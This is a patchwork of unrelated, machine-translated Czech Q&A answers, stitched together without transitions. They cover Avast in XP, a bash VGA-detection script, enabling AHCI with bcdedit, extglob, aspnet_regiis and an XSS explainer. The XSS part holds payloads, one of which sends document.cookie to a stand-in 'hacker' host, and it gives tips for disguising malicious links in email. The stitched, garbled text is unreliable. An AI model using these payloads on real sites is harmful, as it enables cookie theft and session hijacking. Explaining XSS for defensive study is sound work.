Avast není v XP ve správci úloh vidět.



Pouze tam mám Ash,Asw...  
Spouští se mi po spuštění pc.
A funguje?
A kde je na PC? Použij nějaké "Live CD"

[o106.com/...](http://o106.com/odvirovani-pocitace-s-windows-bootovatelna-live-cd-s-antiviry/) <p>k tomu můžete použít hlavní nabídku. pokud ne, nainstalujte jej nejprve:</p><pre><code>sudo apt-get install alacarte </code></pre><p><strong>1. otevřete hlavní nabídk</strong></p><p><strong>2. viz příklad</strong></p><p><img src="https://imgur.com/bnoaj.png" alt="main menu"></p><p>poté můžete volat aplikace s názvem: "command\_of\_application".</p><p>upravit: stýskalo se mi, že jste požádali o aplikace ve vašem domovském adresáři. pokud ano, musí být příkaz úplnou cestou této aplikace.</p> <p><strong> poznámka: </strong> <em>toto bylo testováno na notebooku s grafickou kartou řízenou i915.</em></p><hr><h3>pozadí</h3><p><strong> poznámka: </strong> když je připojena nová obrazovka, do hostitele není odeslána žádná událost, zůstane to pravda i po mé poslední úpravě. jediným způsobem je tedy použít dotazování. snažím se, aby byly co nejefektivnější ...</p><h3>úprava # 3</h3><p>nakonec existuje jedno lepší řešení (prostřednictvím acpi):</p><p>stále neexistuje žádná událost, ale acpi se zdá být efektivnější než <code>xrandr</code> na dotaz. (poznámka: toto <strong> vyžaduje </strong> načtené moduly jádra acpi, ale nevyžaduje oprávnění root.</p><p>moje konečné řešení (pomocí bash):</p><pre><code>isvgaconnected() { local crtstate read -a &lt; /proc/acpi/video/vid/crt0/state crtstate test $(( ( ${crtstate[1]} &gt;&gt;4 ) ${1:+*-1+1} )) -ne 0 } </code></pre><p>nyní test:</p><pre><code>$ if isvgaconnected; then echo yes; else echo no; fi yes </code></pre><p>je zapojen, takže ho nyní odpojím:</p><pre><code>$ if isvgaconnected; then echo yes; else echo no; fi no </code></pre><p><strong> poznámka: </strong> <code>${1:+*-1+1}</code> povolit argument <em>boolean</em>: pokud <em>něco je přítomno</em>, odpověď by byla obrácena: <code>( crtstate &gt;&gt; 4 ) * -1 + 1</code>.</p><p>a závěrečný skript:</p><pre><code>#!/bin/bash export crtprocentry=/proc/acpi/video/vid/crt0/state isvgaconnected() { local crtstate read -a &lt; $crtprocentry crtstate test $(( ( ${crtstate[1]} &gt;&gt;4 ) ${1:+*-1+1} )) -ne 0 } delay=.1 unset switch isvgaconnected || switch=not while :;do while isvgaconnected $switch;do sleep $delay done if [ "$switch" ];then unset switch echo vga is connected # doing something while vga is connected else switch=not echo vga is not connected. # doing something else, maybe. fi done </code></pre><p><strong> upozornění: </strong> <em>lehčí než <code>xrandr</code>, ale ne nevýznamné</em> se zpožděním menším než <em>,02</em> sekund, bash skript půjde na začátek procesu jedlíci zdrojů (<code>top</code>)!</p><p>i když to stojí ~ 0,001 s:</p><pre><code>$ time read -a &lt;/proc/stat crtstat </code></pre><p>vyžaduje to ~ 0,030 s:</p><pre><code>$ read -a &lt; /proc/acpi/video/vid/crt0/state crtstate </code></pre><p>to je velké! takže v závislosti na tom, co potřebujete, lze <code>delay</code> rozumně nastavit mezi <code>0.5</code> a <code>2</code>.</p><h3>úprava # 2</h3><p>nakonec jsem něco našel:</p><p><strong> důležité vyloučení odpovědnosti: </strong> hraní s <code>/proc</code> a <code>/sys</code> záznamy mohou poškodit váš systém !!! takže na produkčních systémech nezkoušejte následující.</p><pre><code>mapfile watchfilelist &lt; &lt;( find /sys /proc -type f 2&gt;/dev/null | grep -i acpi\\\|i91 ) prompt=("/" "|" '\' '-'); l=0 while :; do mapfile watchstat &lt; &lt;( grep -h . ${watchfilelist[@]} 2&gt;/dev/null ) for ((i=0;i&lt;=${#watchstat[@]};i++)); do [ "${watchstat[i]}" == "${oldstat[i]}" ] || echo ${watchstat[i]} done oldstat=("${watchstat[@]}") sleep .5 printf "\r%s\r" ${prompt[l++]} [ $l -eq 4 ]&amp;&amp;l=0 done </code></pre><p>... po očištění nežádoucích záznamů:</p><pre><code>for ((i=0;i&lt;=${#watchfilelist[@]};i++)); do [[ "${watchfilelist[$i]}" =~ /sys/firmware/acpi/interrupts/sci ]] &amp;&amp; unset watchfilelist[$i] &amp;&amp; echo $i done </code></pre><p>to jsem dokázal přečíst:</p><pre><code>/proc/acpi/video/vid/crt0/state:state: 0x1d /proc/acpi/video/vid/crt0/state:state: 0x0d /proc/acpi/video/vid/crt0/state:state: 0x1d </code></pre><p>když připojím, odpojte a znovu zapojte kabel monitoru.</p><p>při dotazu na konfiguraci (spuštění <code>system/preferences/monitor</code> nebo <code>xrandr</code>), grafické karty udělají typ <em>scan</em>, takže běží <code>xrandr -q</code> vám dá informace, ale musíte zjistit stav.</p><p>prohledal jsem všechny protokoly (jádro, démona, x atd.) prohledávajícím <code>/proc</code> &amp; <code>/sys</code> a zjevně se zdá, že neexistuje nic, co by vyhovovalo vaší žádosti.</p><p>zkusil jsem to také:</p><pre><code>export spc50="$(printf "%50s" "")" watch -n1 ' find /proc/acpi/video -type f | xargs grep -h . | sed "s/^\([^:]*):/\1'$spc50'}:/; s/^\(.\{50\}\) *:/\1 /"' </code></pre><p>po tom všem, když spustíte <code>system/preferences/monitor</code> zatímco nebyla připojena žádná nová obrazovka ani odpojena, bude se nástroj zobrazovat jednoduše (normálně). ale pokud jste již dříve připojili nebo odpojili obrazovku, občas spustíte tento nástroj a uvidíte, že na ploše vytvoříte typ <em>reset</em> ​​nebo <em>obnovit</em> ​​(stejný pokud spustíte <code>xrandr</code>).</p><p>zdá se, že to potvrzuje, že tento nástroj požádá o <code>xrandr</code> (nebo pracuje stejným způsobem) pravidelným dotazováním na stav, počínaje okamžikem jeho spuštění.</p><p>můžete vyzkoušet sami:</p><pre><code>$ for ((i=10;i--;)); do xrandr -q | grep ' connected' | wc -l; sleep 1; done 1 1 1 2 2 2 1 1 1 1 </code></pre><p>tím se na 10 sekund zobrazí počet připojených obrazovek (displejů).</p><p>zatímco to běží, připojte a/nebo odpojte obrazovku/monitor a podívejte se, co se děje. takže byste mohli vytvořit malou testovací funkci bash:</p><pre><code>isvgaconnected() { local xrandr=$(xrandr -q) [ "$xrandr" == "${xrandr#*vga1 con}" ] || return 0 return 1 } </code></pre><p>který by byl použitelný jako v:</p><pre><code>$ if isvgaconnected; then echo yes; fi </code></pre><p>ale buďte opatrní, <code>xrandr</code> trvá asi <strong> 0,140 s do 0.200 s </strong>, zatímco na zástrčkách nedojde k žádné změně a do <strong> 0,770 sekund </strong> kdykoli něco bylo připojeno nebo odpojeno těsně před (<strong> poznámka: </strong> zdá se, že to není zdrojový zdroj).</p><h3>úprava # 1</h3><p>abych zajistil, že neučím něco nesprávného, ​​prohledával jsem web a dokumenty, ale nenašel jsem nic o <em>dbus and screens</em>.</p><p>nakonec jsem běžel ve dvou různých oknech <code>dbus-monitor --system</code> (hrál jsem také s možnostmi) a malý skript, který jsem napsal:</p><pre><code>$ for ((i=1000;i--;)); do isvgaconnected &amp;&amp; echo yes || echo no; sleep .5; done </code></pre><p>... a znovu zapojen, než odpojen monitor, mnohokrát. takže teď mohu říci:</p><ul> <li><em>v této konfiguraci <strong> pomocí ovladače i915 </strong> neexistuje jiný způsob, než spustit <code>xrandr -q</code> vědět, zda je monitor připojen nebo ne.</em></li> </ul><p>ale buďte opatrní, protože se nejeví jiné způsoby. například se zdá, že <code>xrandr</code> tyto informace sdílí, takže moje plocha gnome by se automaticky přepnula na <code>xinerama</code> automaticky ... <strong>, když jsem běžel <code>xrandr</code> </strong>.</p><h3>některé dokumenty</h3><ul> <li> <a href="https://wiki.archlinux.org/index.php/xrandr#toggle\_external\_monitor">skript pro přepínání interního/externího displeje pro notebooky</a> </li> <li> <a href="http://www.x.org/docs/intel/hd/ihd\_os\_vol\_3\_part4\_bjs.pdf">®intel hd graphics opensource programmer's reference manual</a> </li> </ul> <p>zdá se, že windows nedovolí idea změnit vaše osobní nastavení tak snadno, jak by se dalo očekávat. ujistěte se, že je možné uložit podpis hostitele, opravuje problém. chcete-li, aby to idea provedlo, spusťte idea jako správce na systému vista/win7 nebo zrušte nastavení &quot;<em> chránit počítač před neoprávněnou činností programu </em>&quot; v dialogu xp<em> run as </em>/ jen jednou. po vytvoření ssh spojení a uložení podpisu se tento dialog odstraní. po uložení podpisu idea přijímá hostitele, i když je spuštěn jako smrtelný uživatel. </p> <ol> <li>v systému windows spusťte příkazový řádek jako správce</li> <li>vyvolejte spuštění nouzového režimu příkazem: <code>bcdedit /set {current} safeboot minimal</code></li> <li>během spouštění restartujte počítač a zadejte systém bios.</li> <li>přejděte z ide do režimu ahci, poté <code>save &amp; exit</code>.</li> <li>windows 10 se spustí v nouzovém režimu.</li> <li>klepněte pravým tlačítkem myši na ikonu okna a vyberte, abyste spustili příkazový řádek v administrátorském režimu z různých možností.</li> <li>zrušte bootování v nouzovém režimu příkazem: <code>bcdedit /deletevalue {current} safeboot</code></li> <li>restartujte počítač ještě jednou a tentokrát se spustí normálně, ale s aktivovaným režimem ahci.</li> </ol><p>( <a href="http://www.tenforums.com/drivers-hardware/15006-attn-ssd-owners-enabling-ahci-mode-after-windows-10-installation-5.html">zdroj</a> )</p> <p>v <code>bash</code> můžete použít <code>extglob</code>:</p><pre><code> $ shopt -s extglob # to enable extglob $ cp !(b*) new\_dir/ </code></pre><p>kde <code>!(b*)</code> vyloučí všechny soubory <code>b*</code>.</p><p>později můžete <code>extglob</code> deaktivovat pomocí</p><pre><code> $ shopt -u extglob </code></pre> <p>měl jsem tento problém na iis6 jednou, když nějakým způsobem asp.net isapi věci byly rozbité.</p><p>běh </p><pre><code>%windir%\microsoft.net\framework\v2.0.50727\aspnet\_regiis.exe -i </code></pre><p>aby se znovu vytvořilo nastavení.</p> <p>zkuste to zjistit:</p><ol> <li>klikněte na kartu externí data</li> <li>mělo by být upozornění zabezpečení, které uvádí, že určitý obsah databáze byl zakázán.</li> <li>klikněte na tlačítko možnosti</li> <li>vyberte možnost povolit tento obsah a klepněte na tlačítko ok</li> </ol> <p><strong> xss - skriptování napříč stránkami (ale neomezeno na skutečné skriptování napříč stránkami) </strong></p><p>xss se obvykle prezentuje třemi různými způsoby:</p><p><strong> netrvalé (často nazývané odrážené xss) </strong></p><p>to je, když jste schopni vložit kód a server jej vrátí zpět, neanitizovaný. to lze často využít distribucí (obvykle nevinně vypadající) url v nějaké formě nebo způsobem, na který mohou ostatní kliknout.</p><p>to může být zvláště efektivní, když se zabýváte cílenými útoky na někoho. dokud můžete někoho přimět kliknout na adresu url, kterou jste odeslali, existuje šance, že v systému získáte zvýšená oprávnění.</p><p>příklad:</p><p>web obsahující vyhledávací pole nemá řádný dezinfekční vstup. vytvořením vyhledávacího dotazu vypadajícího takto:</p><pre><code>"&gt;&lt;script&gt;var+img=new+image();img.src="http://hacker/"%20+%20document.cookie;&lt;/script&gt; </code></pre><p>na druhém konci, na webovém serveru, budete přijímat hity, kde po dvojnásobku mezery je soubor cookie uživatelů. pokud správce klikne na odkaz, můžete mít štěstí, abyste mohli ukrást jejich id relace a hijack relaci.</p><p>použitím technik, jako je spamový e-mail, příspěvky do nástěnky, zprávy im, nástroje sociálního inženýrství, může být tato chyba zabezpečení velmi nebezpečná.</p><p><strong> založené na dom </strong></p><p>velmi podobné netrvalému, ale v případě, že se užitečné zatížení javascriptu nemusí opakovat z webového serveru. často se může jednat o to, že při načítání pomocí již existujícího javascriptu se na stránku za běhu opakuje jednoduše hodnota z parametru url.</p><p>příklad:</p><pre><code>http://victim/displayhelp.php?title=faq#&lt;script&gt;alert(document.cookie)&lt;/script&gt; </code></pre><p>zločinci samozřejmě upraví url tak, aby vypadala nevinněji. stejné užitečné zatížení jako výše jen kódováno jinak:</p><pre><code>http://victim/displayhelp.php?title=faq#&amp;#60&amp;#115&amp;#99&amp;#114&amp;#105 #112&amp;#116&amp;#62&amp;#97&amp;#108&amp;#101&amp;#114&amp;#116&amp;#40&amp;#100&amp;#111&amp;#99&amp;#117&amp;#109 &amp;#101&amp;#110&amp;#116&amp;#46&amp;#99&amp;#111&amp;#111&amp;#107&amp;#105&amp;#101&amp;#41&amp;#60&amp;#47&amp;#115&amp;#99 &amp;#114&amp;#105&amp;#112&amp;#116&amp;#62 </code></pre><p>můžete dokonce maskovat lépe, když odesíláte e-mailovým klientům, kteří podporují html, jako je tento:</p><pre><code>&lt;a href="http://victim/displayhelp.php?title=faq#&lt;script&gt;alert(document.cookie) &lt;/script&gt;"&gt;http://victim/displayhelp.php?title=faq&lt;/a&gt; </code></pre><p><strong> perzistentní </strong></p><p>jakmile dokážete vydržet vektor xss, útok se stane mnohem nebezpečnějším velmi rychle. přetrvávající xss se odráží zpět ze serveru, obvykle proto, že byl xss uložen v databázovém poli nebo podobně. zvažte, zda je následující vstup uložen do databáze a poté vám je ve vašem profilu představí:</p><pre><code>&lt;input type="text" value="your name" /&gt; </code></pre><p>pokud jste schopni zajistit, aby aplikace přijímala a ukládala neanitizované vstupy, vše, co musíte udělat, je přimět ostatní uživatele, aby si prohlédli váš profil (nebo kde se xss odráží zpět).</p><p>tyto druhy xss mohou být nejen obtížně rozpoznatelné, ale velmi zničující pro systém. stačí se podívat na červ xss s názvem <a href="http://en.wikipedia.org/wiki/samy\_worm">samy worm</a> !</p><p>v počátečních dnech xss jste viděli tento druh zneužití ve všech návštěvních knihách, komunitách, uživatelských recenzích, chatovacích místnostech atd.</p><hr><p><strong> dva útočné vektory </strong></p><p>nyní, když znáte různé způsoby poskytování užitečného zatížení xss, rád bych zmínil několik útočných vektorů xss, které mohou být velmi nebezpečné:</p><ul> <li> <p>xss defacement</p> <p>defacence xss není obtížné dosáhnout. pokud je xss také perzistentní, může být pro sysadminy obtížné to zjistit. podívejte se na rsnake <a href="http://drwetter.eu/amazon/">stallowned</a> "útok", který odstranil amazonovu funkci náhledu knihy. docela vtipné čtení.</p> </li> <li> <p>cookie krást a únos relace</p> <p>stejně jako v jednom z výše uvedených příkladů, jakmile získáte přístup k souborům cookie uživatelů, můžete také získat citlivé informace. zachycení id relace může vést k únosu relace, což může zase vést ke zvýšeným oprávněním v systému.</p> </li> </ul><p>omlouváme se za dlouhý příspěvek. teď se zastavím. jak ale můžete vidět, xss je velmi velké téma. doufám, že jsem vám to trochu objasnil.</p><hr><p><strong> využití xss pomocí beef </strong></p><p>chcete-li snadno zjistit, jak lze xss využít, doporučuji vyzkoušet <a href="http://beefproject.com/">beef</a> , browser exploitation framework. jakmile je rozbalen a spuštěn na webovém serveru s podporou php=), můžete snadno zkusit simulaci oběti (tzv. zombie), kde si můžete velmi snadno vyzkoušet různá užitečná zatížení xss. :</p><ul> <li>lokální síť portscan</li> <li>pingsweep místní síť</li> <li>pošlete virus infikovaný applet, podepsaný a připraven</li> <li>odesílejte zprávy klientovi</li> <li>proveďte skype hovor</li> </ul><p>seznam pokračuje. doporučujeme vidět video na domovské stránce beef.</p><p><strong> update: </strong> udělal jsem <a href="http://www.securesolutions.no/xss-explained/">zápis na xss</a> na svém blogu, který popisuje xss. obsahuje trochu o historii xss, různých typech útoků a některých případech použití včetně beef a shank.</p>